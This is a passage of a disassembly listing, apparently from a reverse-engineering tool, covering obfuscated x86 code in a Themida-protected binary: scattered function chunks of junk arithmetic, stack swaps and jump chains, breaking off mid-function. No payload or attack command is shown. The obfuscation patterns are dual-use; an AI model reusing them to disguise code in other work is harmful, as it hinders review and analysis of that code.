; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59E190:				; CODE XREF: sub_59CA4A+236Fj
					; Themida_:005ABAEFj
		add	ebp, 752F9CC0h
		add	edx, ebp
		pop	ebp
		push	dword ptr [esp+0]
		jmp	loc_5A8C4D
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A00F8


loc_59E1A1:				; CODE XREF: sub_5A00F8+2697j
		pop	eax
		xor	eax, 33566889h
		mov	edx, eax
		pop	eax
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A00F8

; =============== S U B	R O U T	I N E =======================================



sub_59E1B6	proc near		; CODE XREF: sub_59ECE2+Cj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059AE1D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059BC9E SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059E565 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A5D8D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA7E1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AD970 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 4
		add	[esp+arg_0], ebp
		pop	ebp
		jmp	loc_5AD970
sub_59E1B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59E1C6:				; CODE XREF: sub_5A8C33+2768j
		pop	ecx
		mov	ebx, ecx
		pop	ecx
		add	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 56FE6972h
		sub	eax, ecx
		pop	ecx
		push	15A6h
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, 2B9F5EBAh
		jmp	sub_599EF7
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59E1E8:				; CODE XREF: sub_597F0C+2407j
		sub	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	esi
		add	esi, 4
		push	eax
		push	ebx
		mov	ebx, 301071E5h
		push	ebp
		push	162D70B1h
		pop	ebp
		neg	ebp
		jmp	loc_5A7332
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E215:				; CODE XREF: sub_59D99C+8C7Fj
		mov	ecx, esi
		pop	esi
		or	esi, ecx
		mov	ecx, [esp+0]
		jmp	loc_5A0B37
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59E222:				; CODE XREF: Themida_:00598B30j
		pop	esp
		add	esi, 4
		push	edi
		mov	edi, 2
		sub	esi, 1F0D5349h
		add	esi, edi
		jmp	loc_59E72E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59E23C:				; CODE XREF: sub_5A8C33+3E21j
		push	[esp-0Ch+arg_8]
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		jmp	sub_5A10EF
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59E24A:				; CODE XREF: sub_59D7E7+103D8j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_5A2340
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E25E:				; CODE XREF: sub_59D99C+6F2Aj
		pop	esp
		add	esp, 4
		dec	edi
		js	loc_5A1002
		push	edx
		push	ebp
		mov	ebp, 0A4D3D72h
		add	ebp, 6288DCFFh
		mov	edx, ebp
		pop	ebp
		add	edx, 2D75FCh
		not	edx
		jmp	loc_5A0A3F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59E289:				; CODE XREF: sub_5A8F00-A8A4j
		jmp	loc_59C55D
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59E28E:				; CODE XREF: sub_5AC95F-981Fj
		neg	cl
		jl	loc_597ED1
		inc	cl
		jmp	loc_5AC753
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		jmp	loc_59CDC2
; ---------------------------------------------------------------------------
		mov	ah, bh
		push	esp
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59E2A5:				; CODE XREF: sub_5A8D43-AE56j
		and	ecx, 48DF7742h
		shr	ecx, 6
		xor	ecx, 30E3B53h
		jmp	loc_5A7B65
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59E2B9:				; CODE XREF: sub_5A7343+1285j
		jmp	loc_5A955E
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_59E2BE:				; CODE XREF: sub_5A17D6+95AAj
		xor	ebp, ebx
		jmp	loc_5A61E0
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59E2C5:				; CODE XREF: sub_5A8D43+BC2j
		pop	dx
		jmp	loc_599563
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_59E2CC:				; CODE XREF: sub_5ABF4A-13390j
		push	esi
		mov	esi, ebx
		mov	edi, esi
		mov	esi, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5AAFD5
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59E2F4:				; CODE XREF: sub_5A3F42+6560j
		mov	esp, [esp+0Ch+var_C]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	sub_5A17D6
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_59E303:				; CODE XREF: sub_5ABF4A-124BAj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edi
		push	5E096A50h
		pop	edi
		push	ecx
		jmp	loc_5A5E1B
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59E321:				; CODE XREF: sub_59B707+ACA1j
		xchg	ecx, [esp-8+arg_2+2]
		pop	esp
		mov	[esp-0Ch+arg_6+2], edx
		mov	edx, 57A9344Fh
		add	edx, 52E9472Fh
		jo	loc_5A4E96
		sub	edx, 1E0C003Ch
		jmp	loc_5ADE88
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E344:				; CODE XREF: sub_59D99C+4BCBj
		shr	edx, 1
		xor	edx, 2ED75993h
		sub	eax, edx
		pop	edx
		add	eax, esi
		jmp	loc_5AC307
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_59E356:				; CODE XREF: sub_5AB72D+29E8j
		jmp	loc_5A4F29
; END OF FUNCTION CHUNK	FOR sub_5AB72D

; =============== S U B	R O U T	I N E =======================================



sub_59E35B	proc near		; DATA XREF: Themida_:00597AC0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059974F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AB8C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AF52 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D322 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D78A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EC81 SIZE 00000018 BYTES

		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		push	687Ch
		mov	[esp+0], edx
		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	edx
		push	99606FFh
		pop	edx
		and	edx, 35943417h
		jnp	loc_59EC81
		inc	edx
		add	edx, 396D766Bh
		jnb	loc_59AF52
		sub	edx, 3B017A7Fh
		mov	edi, edx
		pop	edx
		sub	esp, 4
		push	ebx
sub_59E35B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59E3A5:				; CODE XREF: sub_5A600F-D75Ej
		inc	ebp
		js	loc_5A4310
		shl	ebp, 8
		push	eax
		push	ecx
		jmp	loc_59AA21
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_59E3B6:				; CODE XREF: Themida_:005A5FBCj
		mov	eax, [esp]
		jmp	loc_5AAE09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59E3BE:				; CODE XREF: sub_5AEE2E-111C8j
		mov	eax, 2C010A1Eh
		add	ecx, eax
		pop	eax
		sub	ecx, edx
		jmp	loc_59FFD7
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_59E3CD:				; CODE XREF: Themida_:0059946Aj
		not	eax
		jmp	loc_5AA5FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59E3D4:				; CODE XREF: sub_5AEE2E-10E00j
					; sub_59858D+10DB3j
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	ch, ah
		jmp	loc_5981D0
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_59E3E5:				; CODE XREF: Themida_:005A9421j
		mov	esp, [esp]
		jmp	loc_5A3129
; ---------------------------------------------------------------------------


loc_59E3ED:				; CODE XREF: Themida_:0059C598j
		push	228Dh
		mov	[esp], esi
		jmp	loc_5AD04B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E3FA:				; CODE XREF: sub_59D99C+CE80j
		sub	eax, 82FDF81Dh
		jmp	loc_5A833C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59E404:				; CODE XREF: Themida_:005AEB72j
		add	cl, 6Ch
		jmp	loc_59C868
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A8D4


loc_59E40C:				; CODE XREF: sub_59A8D4+DB01j
		mov	ebp, [esp+0]
		push	ebp
		jmp	sub_5A9443
; END OF FUNCTION CHUNK	FOR sub_59A8D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59E415:				; CODE XREF: sub_5A7343-E996j
					; Themida_:0059E149j
		shr	edx, 6
		jmp	loc_5A2011
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
dword_59E41D	dd 4C281h						; DATA XREF: Themida_:005890E2r
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		adc	al, 24h
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A1BB6
; ---------------------------------------------------------------------------


loc_59E432:				; CODE XREF: Themida_:0059BE1Bj
		sub	edx, 75FB3144h
		add	edx, 5A406D4Ch
		sub	edx, esi
		sub	edx, 5A406D4Ch
		add	edx, 75FB3144h
		mov	esi, [esp]
		jmp	loc_5A8E0A
; ---------------------------------------------------------------------------


loc_59E454:				; CODE XREF: Themida_:005AEB2Fj
		shr	ebx, 3
		push	ebp
		mov	ebp, 68226052h
		xor	ebp, 6B383419h
		jmp	loc_5AA4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59E468:				; CODE XREF: sub_59EE40+C4BDj
		shl	ebp, 4
		push	edx
		mov	edx, 48447B93h
		add	edx, 32D830E6h
		or	edx, 41B64FF0h
		or	edx, 3058789Ah
		sub	edx, 76F66626h
		jmp	loc_5A3875
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59E48E:				; CODE XREF: sub_598D16+46DEj
		dec	eax
		add	eax, 9AB2C778h
		jmp	sub_5A7CF9
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_59E499:				; CODE XREF: Themida_:005A6443j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ax
		push	ecx
		jmp	loc_5A3958
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59E4A7:				; CODE XREF: sub_5A8C33+598Cj
		mov	[esp-4+arg_0], esi
		jmp	loc_5A71D8
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_59E4AF:				; CODE XREF: sub_5A1340+B147j
		pop	esp
		add	bl, 5Ch
		jmp	loc_59EEDD
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59E4B8:				; CODE XREF: sub_5A28BE-95EEj
		jmp	sub_5ADDCC
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------


loc_59E4BD:				; CODE XREF: Themida_:005A11C4j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5A3FBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_59E4C9:				; CODE XREF: sub_5AE0B5-3A64j
		add	esi, 45E159Ah
		add	esi, eax
		push	ecx
		mov	ecx, 45E159Ah
		sub	esi, ecx
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5AB410
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_59E4E8:				; CODE XREF: Themida_:005AAE88j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59F46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_59E4FD:				; CODE XREF: sub_5AA46D-F026j
		xor	ebp, 1A108E46h
		sub	eax, ebp
		pop	ebp
		jmp	loc_59FE22
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_59E50B:				; CODE XREF: sub_5A95E0-10BFFj
		push	eax
		mov	eax, 33E27054h
		jmp	loc_59D516
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_59E516:				; CODE XREF: sub_59BD3A+C05Ej
		pop	esp
		inc	esi
		jno	loc_5ADAEC
		push	ecx
		jmp	loc_5A1E81
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
		add	eax, 4
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_5AA256


loc_59E52A:				; CODE XREF: sub_5AA256-28B1j
		pop	bx
		add	al, 47h
		sub	al, 93h
		add	al, bl
		add	al, 93h
		sub	al, 47h
		add	al, 8Ah
		pop	ebx
		jmp	loc_59B315
; END OF FUNCTION CHUNK	FOR sub_5AA256
; ---------------------------------------------------------------------------


loc_59E53E:				; CODE XREF: Themida_:005AE877j
		xor	edi, 1E1E67D6h
		and	edi, 696869A7h
		jmp	loc_59C91F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3CE


loc_59E54F:				; CODE XREF: sub_59B3CE+114E4j
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		pop	[esp+6+var_8+2]
		pop	esp
		imul	cx
		push	small 47CBh
		jmp	loc_5A2438
; END OF FUNCTION CHUNK	FOR sub_59B3CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E1B6


loc_59E565:				; CODE XREF: sub_59E1B6+7BE4j
		pop	esi
		push	esi
		push	ebx
		push	357C6185h
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	ebx, 0CA839E7Fh
		mov	esi, ebx
		jmp	loc_5A64D2
; END OF FUNCTION CHUNK	FOR sub_59E1B6
; ---------------------------------------------------------------------------


loc_59E580:				; CODE XREF: Themida_:0059C86Bj
					; Themida_:0059D213j
		mov	edi, 391425E5h
		add	edi, 0F40AFF87h
		jmp	loc_5A06B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E590:				; CODE XREF: sub_59D99C+D08Dj
		inc	eax
		sub	eax, 606C11EDh
		xor	eax, 0EEEBED00h
		xor	esi, eax
		pop	eax
		push	ebx
		mov	ebx, 457948C3h
		or	ebx, 93A109Dh
		shl	ebx, 6
		add	ebx, 61E033F7h
		sub	esi, ebx
		pop	ebx
		push	eax
		jmp	loc_59E0B8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59E5BC:				; CODE XREF: sub_5A1B2A-1CC6j
		shr	esi, 6
		xor	esi, 7E236572h
		shl	esi, 7
		add	esi, 93DC78BCh
		and	edx, esi
		mov	esi, [esp+0]
		add	esp, 4
		or	edx, 1CA6332Fh
		xor	edx, 1FEB104Ch
		jmp	loc_59EA36
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_59E5EA:				; CODE XREF: Themida_:loc_5AE3B0j
		dec	ecx
		xor	ecx, 17673C11h
		jmp	loc_59ECB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E5F6:				; CODE XREF: sub_59D99C+30C1j
					; sub_59D99C:loc_5A847Bj
		add	esp, 4
		push	ecx
		mov	ecx, 78901CA5h
		and	ecx, 450705A2h
		add	ecx, 0BFFEDBFDh
		add	edi, ecx
		pop	ecx
		push	312Ch
		mov	[esp-8+arg_4], edi
		pop	edx
		pop	edi
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		jmp	loc_59CCE8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59E627:				; CODE XREF: sub_5AC95F-5841j
		dec	ebx
		jnp	loc_59B655
		jmp	loc_59E16F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_59E633:				; CODE XREF: sub_5A58AC+33C6j
		neg	edx
		jmp	loc_5A454B
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------


loc_59E63A:				; CODE XREF: Themida_:0059EF61j
		pop	esp
		jmp	loc_597B5F

; =============== S U B	R O U T	I N E =======================================



sub_59E640	proc near		; CODE XREF: sub_59D151+548Fj

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597C60 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4201 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 005AA7BD SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AC0E9 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005AC9F9 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		xchg	eax, [esp+4+var_4]
		not	eax
		xchg	eax, [esp+4+var_4]
		pop	ebp
		dec	ebp
		push	ebp
		jmp	loc_597C60
sub_59E640	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59E656:				; CODE XREF: sub_5A8F00-E30Dj
		js	loc_59C813
		jmp	loc_59E289
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59E661:				; CODE XREF: sub_5A1B2A+BB87j
		pop	esp
		sub	bl, al
		push	0C4Ch
		jmp	loc_5A5103
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59E66E:				; CODE XREF: sub_5AEE2E-89B4j
		pop	ebp
		xor	ebp, 0E62B39F8h
		jmp	loc_598A7E
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_59E67A:				; CODE XREF: sub_599721-38Dj
		mov	[esp+10h+var_10], ecx
		mov	ecx, ebp
		push	ecx
		xor	[esp+14h+var_14], 63A60C05h
		pop	eax
		xor	eax, 63A60C05h
		pop	ecx
		jmp	loc_5ACF13
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59E693:				; CODE XREF: sub_5AEE2E-16C4Bj
		mov	ah, 0C3h
		add	ah, 0B2h
		xor	dl, ah
		jmp	loc_5AB30A
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59E69F:				; CODE XREF: sub_59A932+8A2Fj
		neg	edx
		xchg	eax, edx
		xor	eax, 0DA86E3Ah
		sub	ebx, 4FF35B6Ah
		add	ebx, eax
		add	ebx, 4FF35B6Ah
		jmp	loc_59C279
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59E6BA:				; CODE XREF: sub_59D7E7+5A2Dj
		mov	edx, 5F12BC5h
		or	ebx, edx
		pop	edx
		inc	ebx
		push	eax
		mov	eax, 4B2503DFh
		jmp	loc_59A7E2
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------


loc_59E6CE:				; CODE XREF: Themida_:0059E9D0j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A124E
; ---------------------------------------------------------------------------


loc_59E6DF:				; CODE XREF: Themida_:00599253j
		push	ecx
		mov	ecx, 4D4C17E3h
		xor	ecx, 73644A1Ah
		jmp	loc_599433
; ---------------------------------------------------------------------------


loc_59E6F0:				; CODE XREF: Themida_:0059D6A6j
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_5A8B5A
; ---------------------------------------------------------------------------


loc_59E6F9:				; CODE XREF: Themida_:005A13B1j
		pop	edx
		push	ax
		mov	ah, 36h
		jmp	loc_5995EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_59E703:				; CODE XREF: sub_59FDC7:loc_5A7733j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_598676
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E715:				; CODE XREF: sub_59D99C+ED9Fj
		mov	[esp+0], bp
		push	edx
		push	small 1BEAh
		jmp	loc_5AA2FE
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_59E723:				; CODE XREF: sub_5ADDF8-10B2Aj
		xor	edi, 6F8B5BD7h
		jmp	loc_5A288D
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------


loc_59E72E:				; CODE XREF: Themida_:0059E237j
		add	esi, 1F0D5349h
		mov	edi, [esp]
		jmp	loc_5A9BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_59E73C:				; CODE XREF: sub_59B0C4+D6E0j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A2649
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------


loc_59E74A:				; CODE XREF: Themida_:0059BFD5j
		add	ebx, eax
		add	ebx, 2BBF0573h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A6745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59E77F:				; CODE XREF: sub_5A8D43-A69j
		sub	ebx, 35256A71h
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		push	ebx
		push	[esp+6+var_4+2]
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_59B94D
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59E7A1:				; CODE XREF: Themida_:0059ECDDj
		push	esi
		pop	ebp
		pop	esi
		push	9649EC6Bh
		pop	edx
		sub	edx, ebp
		jmp	loc_5A666A
; ---------------------------------------------------------------------------


loc_59E7B1:				; CODE XREF: Themida_:0059930Dj
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5AE9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59E7BB:				; CODE XREF: sub_597F0C+93EEj
		xchg	eax, [esp+14h+var_14]
		pop	esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+10h+var_10]
		xor	[esp+10h+var_10], edi
		xor	edi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5A9756
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_59E7D9:				; CODE XREF: Themida_:005A5D0Ej
		push	eax
		jmp	loc_5AABFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A04C2


loc_59E7DF:				; CODE XREF: sub_5A04C2+897Ej
		mov	[esp+0], eax
		jmp	loc_5A57E8
; END OF FUNCTION CHUNK	FOR sub_5A04C2
; ---------------------------------------------------------------------------


loc_59E7E7:				; CODE XREF: Themida_:005AA986j
		push	ebx
		push	6891468h
		pop	ebx
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 46415C8h
		xor	edi, 56F76535h
		inc	edi
		shl	edi, 3
		sub	edi, 4E97F856h
		mov	ecx, edi
		jmp	loc_5ABA20
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E823:				; CODE XREF: sub_59D99C+7D03j
		and	eax, edx
		pop	edx
		and	eax, 28862EB7h
		jg	loc_5983CA
		inc	eax
		jmp	loc_5A599A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		mov	ah, ch
		mov	ebp, edx


loc_59E83B:				; CODE XREF: Themida_:00598419j
		pop	ecx
		shr	eax, 5
		jmp	loc_5AC397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_59E844:				; CODE XREF: sub_59B923:loc_5A8CFAj
		inc	edi
		jnz	loc_5A4BCC
		xor	edi, 0F1BBE886h
		and	eax, edi
		push	[esp+4+var_4]
		add	bl, 0E9h
; END OF FUNCTION CHUNK	FOR sub_59B923
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59E859:				; CODE XREF: sub_59D99C-1427j
		push	3BB75FEEh
		push	[esp+0Ch+var_C]
		mov	edi, [esp+10h+var_10]
		jmp	loc_5A0892
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59E869:				; CODE XREF: sub_5AEE2E-539Dj
		push	eax
		mov	eax, edx
		mov	ebp, eax
		pop	eax
		pop	edx
		jmp	loc_5A9052
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_59E875:				; CODE XREF: Themida_:005A6A92j
		or	[edi+1Ch], ebx
		jmp	loc_5A3760
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_59E87D:				; CODE XREF: sub_59ACCE+1j
		mov	ebp, 4
		add	[esp+8+var_4], ebp
		pop	ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A01E7
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A70C2


loc_59E892:				; CODE XREF: sub_5A70C2+19j
		add	edi, 0BE0EC54Dh
